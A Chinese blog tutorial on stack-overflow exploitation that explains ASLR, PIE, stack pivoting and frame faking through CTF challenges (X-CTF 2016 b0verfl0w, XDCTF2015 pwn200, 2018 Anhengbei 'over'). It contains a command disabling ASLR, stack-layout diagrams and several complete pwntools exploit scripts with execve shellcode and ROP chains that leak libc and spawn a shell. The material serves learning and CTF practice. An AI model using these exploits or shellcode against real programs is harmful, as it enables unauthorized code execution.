ASLR和PIE 我们都知道由于受到堆栈和libc地址可预测的困扰,ASLR被设计出来并得到广泛应用,后来各种绕过技术出现,比如return-to-plt、got hijack、stack-pivot(bypass stack ransomize)等的…
ASLR和PIE 我们都知道由于受到堆栈和libc地址可预测的困扰,ASLR被设计出来并得到广泛应用,后来各种绕过技术出现,比如return-to-plt、got hijack、stack-pivot(bypass stack ransomize)等的出现,PIE保护应运而生了。一般地都会把地址空间随机化和PIE混为一谈,没有详细地去了解过两者的区别(可能只有我没了解过,大佬们飘过即可),因为先来看一下两者的区别。ASLR(地址空间随机化)刚开始设计的时候是作为操作系统功能提供的,只考虑了当时技术背景下executable加载后stack、heap、libraries的随机化功能,也就是“对stack、heap、libraries的随机化”。值得一提的它是在ELF加载这个过程中起作用的介质,ASLR有三个级别:0, 不开启任何随机化;1, 开启stack、libraries [、executable base(special libraries -^-) if PIE is enabled while compiling] 的随机化;2,开启heap随机化在linux中我们一般这样去设置
1 2 3 4 5 6   root@pwn -PC:~# cat /proc/sys/kernel/randomize_va_space  1 root@pwn -PC:~# echo 0  > /proc/sys/kernel/randomize_va_space  root@pwn -PC:~# cat /proc/sys/kernel/randomize_va_space  0 
我们看下三者的区别:0不开启任何随机化的时候,怎么都不变,下面的是randomize_va_space值为1的时候,我们主要是注意,变化的:libc.so、ld.so和stack,不变的:.text、data、rodata、bss、vsyscall和heap。ps:BSS段 (bss segment)通常是指用来存放程序中未初始化的全局变量和静态变量(不带 const 修饰)的一块内存区域,是静态内存,不占用程序文件的大小,但是占用程序运行时的内存空间,而且初始化为0的全局变量也存在着bss段。data段用于维护初始化的且初始值非0的全局变量和静态变量(不带 const 修饰),但是它在在目标文件中占用空间。rodata段用于常量字符串、带 const 修饰的全局变量和静态变量,这是只能读的数据。
stack pivoting 说完了上一节的内容,我们继续���下看,但是要注意上一节的内存,在整个栈溢出技巧中都会涉及到。先来看stack pivoting,这是2015年Computer Security Applications Conference发表的一篇名为Defeating ROP Through Denial of Stack Pivot文章讲到的,大体意思是劫持栈指针指向攻击者所能控制的内存处,然后在适当的位置里面进行 ROP,进而通过控制sp指向payload,触发payload的执行。这是绕过地址空间随机化的一种方法,根据定义归结于以下几种情况进行进行使用:构造这么一个32位的情景:如果栈溢出的空间无法满足构造的payload的大小的需求,那么就需要进行栈迁移了。但是如果又开启了ASLR,或者PIE,那么我们需要将栈劫持到已知的区域,如同定义说的一样需要控制esp指针指向payload,那么就可以通过stack pivot将栈劫持到相应的区域。这个已知的区域有两种,一种是没开启PIE的时候,可以迁移到bss段上的变量,并且bss 段分配的内存页拥有读写权限;第二种是通过ESP进行寻找到的区域。或者又另一种情况下其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,在栈溢出中不讨论这种情况。在上述场景中,有个关键点:控制EIP和ESP指针,那么使用gadget也很多,比如pop esp,或者 libc_csu_init 中的 gadgets,我们通过偏移就可以得到控制 rsp 指针,或者更高级的一些fake frame,像我这么笨的菜鸡学到这后,都有一定的随机应变的能力,相信大家也是一样的,原理懂了后,根据题目的不同进行随机应变。
X-CTF 2016 b0verfl0w 题目分析 可以看到是存在明显的栈溢出漏洞,但是可利用的空间较小,并且存在ASLR机制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50   signed int  vul ()  {   char  s;    puts("\n======================" );   puts("\nWelcome to X-CTF 2016!" );   puts("\n======================" );   puts("What's your name?" );   fflush(stdout);   fgets(&s, 50 , stdin);   printf("Hello %s." , &s);   fflush(stdout);   return  1 ; } 0x804850e  <main>:   push   ebp   0x804850f  <main+1 >:  mov    ebp,esp    0x8048511  <main+3 >:  and    esp,0xfffffff0     0x8048514  <main+6 >:  call   0x804851b  <vul>    0x8048519  <main+11 >: leave      0x804851a  <main+12 >: ret        0x804851b  <vul>: push   ebp    0x804851c  <vul+1 >:   mov    ebp,esp    0x804851e  <vul+3 >:   sub    esp,0x38     0x8048521  <vul+6 >:   mov    DWORD PTR [esp],0x8048640     0x8048528  <vul+13 >:  call   0x80483d0  <puts@plt >    0x804852d  <vul+18 >:  mov    DWORD PTR [esp],0x8048658     0x8048534  <vul+25 >:  call   0x80483d0  <puts@plt >    0x8048539  <vul+30 >:  mov    DWORD PTR [esp],0x8048640     0x8048540  <vul+37 >:  call   0x80483d0  <puts@plt >    0x8048545  <vul+42 >:  mov    DWORD PTR [esp],0x8048670     0x804854c  <vul+49 >:  call   0x80483d0  <puts@plt >    0x8048551  <vul+54 >:  mov    eax,ds:0x804a060     0x8048556  <vul+59 >:  mov    DWORD PTR [esp],eax    0x8048559  <vul+62 >:  call   0x80483b0  <fflush@plt >    0x804855e  <vul+67 >:  mov    eax,ds:0x804a040     0x8048563  <vul+72 >:  mov    DWORD PTR [esp+0x8 ],eax    0x8048567  <vul+76 >:  mov    DWORD PTR [esp+0x4 ],0x32     0x804856f  <vul+84 >:  lea    eax,[ebp-0x20 ]    0x8048572  <vul+87 >:  mov    DWORD PTR [esp],eax => 0x8048575  <vul+90 >:  call   0x80483c0  <fgets@plt >    0x804857a  <vul+95 >:  lea    eax,[ebp-0x20 ]    0x804857d  <vul+98 >:  mov    DWORD PTR [esp+0x4 ],eax    0x8048581  <vul+102 >: mov    DWORD PTR [esp],0x8048682     0x8048588  <vul+109 >: call   0x80483a0  <printf@plt >    0x804858d  <vul+114 >: mov    eax,ds:0x804a060     0x8048592  <vul+119 >: mov    DWORD PTR [esp],eax    0x8048595  <vul+122 >: call   0x80483b0  <fflush@plt >    0x804859a  <vul+127 >: mov    eax,0x1     0x804859f  <vul+132 >: leave      0x80485a0  <vul+133 >: ret   
思路分析 这里先把用到的gadget找到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20   pwn@pwn -PC:~/Desktop/pwntips$ ROPgadget --binary b0verfl0w --only 'jmp|ret'  Gadgets information ============================================================ 0x080483ab  : jmp 0x8048390 0x080484f2  : jmp 0x8048470 0x08048611  : jmp 0x8048620 0x08048504  : jmp esp0x0804836a  : ret0x0804847e  : ret 0xeac1 Unique gadgets found: 6  pwn@pwn -PC:~/Desktop/pwntips$ ROPgadget --binary b0verfl0w --only 'sub|ret'  Gadgets information ============================================================ 0x0804836a  : ret0x0804847e  : ret 0xeac1 0x08048500  : sub esp, 0x24  ; retUnique gadgets found: 3  
然后通过ret将gadgets数据变成指令进行执行(eip中存储的是某一条指令的地址,地址,所以你直接把指令写在栈上,通过ret没办法执行)这里就需要栈溢出了通过栈溢出,(在当前栈帧,也就是你的payload是在当前栈上搭建的,需要此栈对应的leave ret 来进行栈溢出),不多说,很简单大体捋一下流程:粗略构造一下
1 2 3 4 5 6 7 8 9 10   ---------------- payload ---------------- fake ebp ---------------- jmp esp addr ---------------- ... ---------------- 
发生栈溢出后,eip指向jmp esp addr,程序执行jmp esp,但是问题来了,此时的esp在…的内存单元地址处,我们本来是想用jmp esp跳到payload处,可是不能达到目的。那么怎么构造?
方法一 给出自己想出来的第一种构造方法,比wiki中方法短一点,可以缩短到溢出空间为4个字节,但是也是巧合吧,找到了0x08048500这个gadget。先改变esp的值,然后再jmp esp,如下图所示:
方法二 来看第二种方法:这是wiki中给出的构造方法,如下:程序执行完ret指令后,eip会指向jmp esp,此时esp指向0x28。
exp exp一 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20   exp(一): from pwn import  * sh = process('./b0verfl0w' ) # context.arch = 'i386'  context.log_level = 'debug'  context.terminal = ['deepin-terminal' , '-x' , 'sh'  ,'-c' ] shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"  shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"  shellcode_x86 += "\x0b\xcd\x80"  sub_esp_jmp = asm('sub esp, 0x24;jmp esp' ) jmp_esp = 0x08048504  sub_esp = 0x08048500  payload = 'bbbb'  + p32(jmp_esp) + shellcode_x86 + (     0x20  - len(shellcode_x86) - 8 ) * 'b'  + 'bbbb'  + p32(sub_esp) sh.sendline(payload) # gdb.attach(sh) sh.interactive() 
exp二 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17   from pwn import  * sh = process('./b0verfl0w' ) context.log_level = 'debug'  context.terminal = ['deepin-terminal' , '-x' , 'sh'  ,'-c' ] shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"  shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"  shellcode_x86 += "\x0b\xcd\x80"  sub_esp_jmp = asm('sub esp, 0x28;jmp esp' ) jmp_esp = 0x08048504  payload = shellcode_x86 + (     0x20  - len(shellcode_x86)) * 'b'  + 'bbbb'  + p32(jmp_esp) + sub_esp_jmp sh.sendline(payload) # gdb.attach(sh) sh.interactive() 
frame faking 顾名思义,frame faking就是另外起一个虚假的栈帧来控制程序的执行流,与栈迁移有异曲同工之处。为什么要这样呢?由于原来溢出空间大小不足以承载payload,解决溢出空间不足的问题。比如:
1 2 3 4 5   int  vuln () {     char  buf[80 ];     return  read(0 , buf, 100 ); } 
上面这个例子的溢出空间是0x14,不足以承载我们构造的payload,既然空间不足,我们就创造一个空间足够大的新的栈空间。或者如2018 安恒杯 over一样,溢出空间只够覆盖rbp和ret_addr,很极限的操作。后面的介绍中将会引出两种构造方式,一种是边读边迁,一种是读完再迁,根据不同的场景进行构造,多样地去理解这一方法。
思路一 第一种构造方式:边读边迁,然后以XDCTF2015的pwn200为例子进行实践,抛弃原来的正常的解法。虽然利用这种方法显得没必要,多此一举了,但是可以增加理解。首先明确这是一个递进的过程。怎么识别我们构造的栈是一个新的栈空间呢?那就需要ESP和EBP来配合,EBP和ESP之间的内存单元就是程序可识别的栈空间。那么怎么让ESP和ESP去指向新的栈空间呢?基于栈溢出,我们能够知道,在栈溢出中,影响到的寄存器中有EBP,ESP,那么我们就可以通过构造payload来实现ESP和ESP的值。其实这个本质在于怎么去控制ESP,我们可以使用控制EBP来协助,因为leave;ret指令可以使用EBP来间接控制ESP。
应用一 程序中sub_8048484()函数存在栈溢出漏洞:
1 2 3 4 5 6 7   sub_8048484() {   char  buf;    setbuf(stdin, &buf);   return  read(0 , &buf, 0x100u); } 
可以看到明显的栈溢出,虽然溢出的操作空间挺大的,我们依然尝试迁移栈的办法,根据上面的分析构造第一次发送的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16   ----------------------- aaaa....                         |padding ----------------------- 0x804a820                  |fake_ebp----------------------- read@plt_addr             |ret_addr ----------------------- 0x8048481                  |leave_ret----------------------- 0x0                               |fd----------------------- 0x804a820                  |buf----------------------- 0x64                             |nbytes-----------------------                                
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26   ----------------------- 0x804a820                 |padding----------------------- write@plt_addr           |ret_addr ----------------------- 0x8048369                 |控制执行流----------------------- 0x1                               |fd----------------------- read@got .plt               |buf ----------------------- 0x4                              |nbytes-----------------------   write@plt_addr           |ret_addr ----------------------- 0x8048369                 |控制执行流----------------------- 0x0                                |fd----------------------- 0x804a84c                 |buf----------------------- 0x100                           |nbytes-----------------------        ........                           |0x804a84c  -----------------------    
1 2 3 4 5 6 7 8   -----------------------       system_addr              |0x804a84c  -----------------------         bbbb                           |0x804a850  -----------------------        /bin/sh_addr              |0x804a854  -----------------------      
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46   from pwn import  * context.log_level = 'debug'  context.terminal = ['deepin-terminal' , '-x' , 'sh'  ,'-c' ] elf = ELF('bed0c68697f74e649f3e1c64ff7838b8' ) r = process('./bed0c68697f74e649f3e1c64ff7838b8' ) rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8' ) offset = 108  ## find stack overflow length  bss_addr  =  elf.bss()leave_ret = 0x08048481  ## ROPgadget --binary bed0c68697f74e649f3e1c64ff7838b8  --only 'leave|ret'  read_plt = elf.plt['read' ] read_got = elf.got['read' ] libc = ELF('/usr/lib/i386-linux-gnu/libc-2.24.so' ) read_libc = libc.symbols['read' ] system_libc = libc.symbols['system' ] r.recvuntil('Welcome to XDCTF2015~!\n' ) # gdb.attach(r) ## stack pivoting to bss segment ## new  stack  size is 0x800  stack_size = 0x800  base_stage = bss_addr + stack_size ## padding 108   rop.raw('a'  * offset) ## faker_ebp1 rop.raw(base_stage) ### stack pivoting, set  esp  =  base_stage rop.raw(flat(read_plt,leave_ret,0 , base_stage, 100 )) # print rop.dump() r.sendline(rop.chain()) ## getshell  rop  =  ROP('./bed0c68697f74e649f3e1c64ff7838b8' )rop.raw(base_stage) rop.write(1 , read_got, 0x4 ) rop.read(0 ,base_stage+0x2c ,0x100 ) rop.raw('a'  * ( 50  - len(rop.chain()))) print rop.dump() gdb.attach(r) r.sendline(rop.chain()) libc.address = u32(r.recv(4 )) - read_libc  payload  =  flat([libc.sym['system' ],'bbbb' ,next(libc.search('/bin/sh' ))])r.sendline(payload) r.interactive() 
ps:小知识点:使用sendline习惯了,read函数先读缓冲区预留的内容,再读输入的内容,自己构造的时候调式了好久,还是太菜,当时一直以为这是玄学问题。
思路二 第二种构造方式:读完再迁,依然以XDCTF2015的pwn200为例子进行实践。依然是需要构造一个新的也就是栈迁移,这其中包括:leave形成新栈、read函数在新的栈中读入内容、需要一个ret来控制rip进行执行。那么读完再迁就是说先把payload读完,然后再把ebp和esp一块确定到payload所在的位置。因此可以这样构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22   ----------------------- aaaa....                         |padding ----------------------- aaaa                             |ebp ----------------------- read@plt_addr             |ret_addr ----------------------- 0x8048369                  |控制执行流----------------------- 0x0                               |fd----------------------- fake_ebp .                   |buf ----------------------- 0x64                             |nbytes-----------------------     pop ebp_ ret               |控制执行流 -----------------------     fake_ebp                     |fake_ebp -----------------------     0x8048481                  |leave_ret-----------------------           
我们看一下具体的操作:
应用二 其他内容同应用一,具体看一下这几次payload不同的地方:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42   from pwn import  * context.log_level = 'debug'  context.terminal = ['deepin-terminal' , '-x' , 'sh'  ,'-c' ] elf = ELF('bed0c68697f74e649f3e1c64ff7838b8' ) r = process('./bed0c68697f74e649f3e1c64ff7838b8' ) rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8' ) offset = 112  bss_addr = elf.bss() leave_ret = 0x08048481  read_plt = elf.plt['read' ] read_got = elf.got['read' ] libc = ELF('/usr/lib/i386-linux-gnu/libc-2.24.so' ) read_libc = libc.symbols['read' ] system_libc = libc.symbols['system' ] r.recvuntil('Welcome to XDCTF2015~!\n' ) stack_size = 0x800  base_stage = bss_addr + stack_size ### padding rop.raw('a'  * offset) ### read 100  byte  to base_stage rop.read(0 , base_stage, 100 ) ### stack pivoting, set  esp  =  base_stage rop.migrate(base_stage) print rop.dump() r.sendline(rop.chain()) ## getshell  rop  =  ROP('./bed0c68697f74e649f3e1c64ff7838b8' )rop.write(1 , read_got, 0x4 ) rop.read(0 ,base_stage+0x28 ,0x100 ) rop.raw('a'  * ( 50  - len(rop.chain()))) print rop.dump() gdb.attach(r) r.sendline(rop.chain()) libc.address = u32(r.recv(4 )) - read_libc  payload  =  flat([libc.sym['system' ],'bbbb' ,next(libc.search('/bin/sh' ))])r.sendline(payload) r.interactive() 
实践 以2018年安恒杯中over题目为例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17   __int64 __fastcall main (__int64 a1, char  **a2, char  **a3)  {   setvbuf(stdin, 0LL, 2 , 0LL);   setvbuf(stdout, 0LL, 2 , 0LL);   while  ( sub_400676() )     ;   return  0LL; } int  sub_400676 () {   char  buf;    memset(&buf, 0 , 0x50uLL);   putchar(62 );   read(0 , &buf, 0x60uLL);   return  puts(&buf); } 
存在栈溢出,但是payload空间不足,只能覆盖到ret_addr的内存单元。那么我们需要构造一个新栈(思路二),因为程序中存在循环读,刚好可以简化思路二,以至达到极限的空间大小。payload如下:p64(0)*n #padding fake rbp # 此时执行到这,代码段中会执行leave指令,控制rbp寄存器。leave_ret_addr # 因为我想控制rip寄存器,控制rsp寄存器,通过leave;ret控制rip寄存器。思路准备:一、文件为ELF 64-bit LSB executable,最后选择使用execve函数进行getshell(system(“/bin/sh”) 可能会因为 env 被破坏而失效),那么就需要确定三个寄存器 rdi,rsi,rdx的���数值。二、因为ASLR无法获取具体地址,需要泄漏libc的基址。三、找到一中需要的gadgets:0x00000000000f52b9 : pop rdx ; pop rsi ; ret、0x000000000001fc6a : pop rdi ; ret、0x0000000000001b92 : pop rdx ; ret等等可以使用的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14   ----------------------- pop_rdi_ret                 |rdi = /bin/sh_addr ----------------------- /bin/sh_addr               | ----------------------- pop_rdx_pop_rsi_ret |rdx = 0  rsi = 0  ----------------------- p64(0 )                         | ----------------------- p64(0 )                         | ----------------------- execve_addr               |rip = execve_addr ----------------------- 
那么问题来了,我们怎么样把这几步都串起来?首先是找一个base_addr作为新的栈,此题目和思路二中有区别就是无法去构造read函数对新栈写payload了,使用程序中的read函数去写payload,也就是说fake frame或者新栈的位置已经确定了,那就是read函数的buf参数,也就是rbp-0x50的栈上的地址。因此我们后面的构造的payload都需要围绕此处地址就行展开,因此这里就会多一步:获取fake_rbp地址。第一步:获取fake_rbp地址根据read函数的特性,read完后并不会给输入末尾补上’\0’,和程序中的代码段:read(0, &buf, 0x60uLL);return puts(&buf);因此rbp 的值就会被 puts 打印出来。第一次发送为发送 0x50个非’\x00’字节,把buf和rbp之前的可能有的0x00覆盖掉,这样就可以puts出rbp的值,从收到数据提取出fake_rbp的地址即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18   ----------------------- aaaaaaaa                     |buf_addr ----------------------- pop_rdi_ret                 |rdi = puts@got_addr  ----------------------- puts@got_addr            | ----------------------- puts@plt_addr             |puts(puts@got_addr ) ----------------------- call sub_400676 ()        | 循环读入开始(这样payload中就不需要构造read函数了) ----------------------- aaaaa.....                      |padding -----------------------    buf_addr                    |fake_rbp ----------------------- 0x4006be                     |leave_ret----------------------- 
这里需要注意pop_rdi_ret是在over.over中找的,因为没有libc的基址情况下,无法使用libc中内容。执行完此payload后,减去libc.sym[‘puts’]就是libc的地址,然后获取execve的地址和”bin/sh”字符串的地址。另外这与思路二的差别依然是read函数的,调用sub_400676()不能控制buf的地址,得围绕buf地址就行展开构造。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22   ----------------------- aaaaaaaa                     |buf_addr-0x30  ----------------------- pop_rdi_ret                 |rdi = /bin/sh_addr ----------------------- /bin/sh_addr               | ----------------------- pop_rdx_pop_rsi_ret |rdx = 0  rsi = 0  ----------------------- p64(0 )                         | ----------------------- p64(0 )                         | ----------------------- execve_addr               |rip = execve_addr ----------------------- aaaaa.....                      |padding -----------------------    buf_addr-0x30           |fake_rbp ----------------------- 0x4006be                     |leave_ret----------------------- 
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22   from pwn import  * context.binary = "./over.over"  context.arch = 'amd64'  context.log_level = 'debug'  context.terminal = ['deepin-terminal' , '-x' , 'sh'  ,'-c' ] sh = process("./over.over" ) elf = ELF("./over.over" ) libc = elf.libc sh.sendafter(">" , 'a'  * 80 ) stack = u64(sh.recvuntil("\x7f" )[-6 : ].ljust(8 , '\0' )) - 0x70  sh.sendafter(">" , flat(['aaaaaaaa' , 0x400793 , elf.got['puts' ], elf.plt['puts' ], 0x400676 , (80  - 40 ) * 'a' , stack, 0x4006be ])) libc.address = u64(sh.recvuntil("\x7f" )[-6 : ].ljust(8 , '\0' )) - libc.sym['puts' ] pop_rdi_ret=0x400793  # gdb.attach(sh) pop_rdx_pop_rsi_ret=libc.address+0x00000000000f52b9  payload=flat(['aaaaaaaa' , pop_rdi_ret, next(libc.search("/bin/sh" )),pop_rdx_pop_rsi_ret,p64(0 ),p64(0 ), libc.sym['execve' ], (80  - 7 *8  ) * 'a' , stack - 0x30 , 0x4006be ]) sh.sendafter(">" , payload) sh.interactive() 
本文标题: 栈溢出技巧(上)
本文作者: OSChina
发布时间: 2021年04月15日 10:04
最后更新: 2025年07月13日 05:44
原始链接: https://haoxiang.eu.org/16433f9b/ 
版权声明: 本文著作权归作者所有,均采用CC BY-NC-SA 4.0 许可协议,转载请注明出处!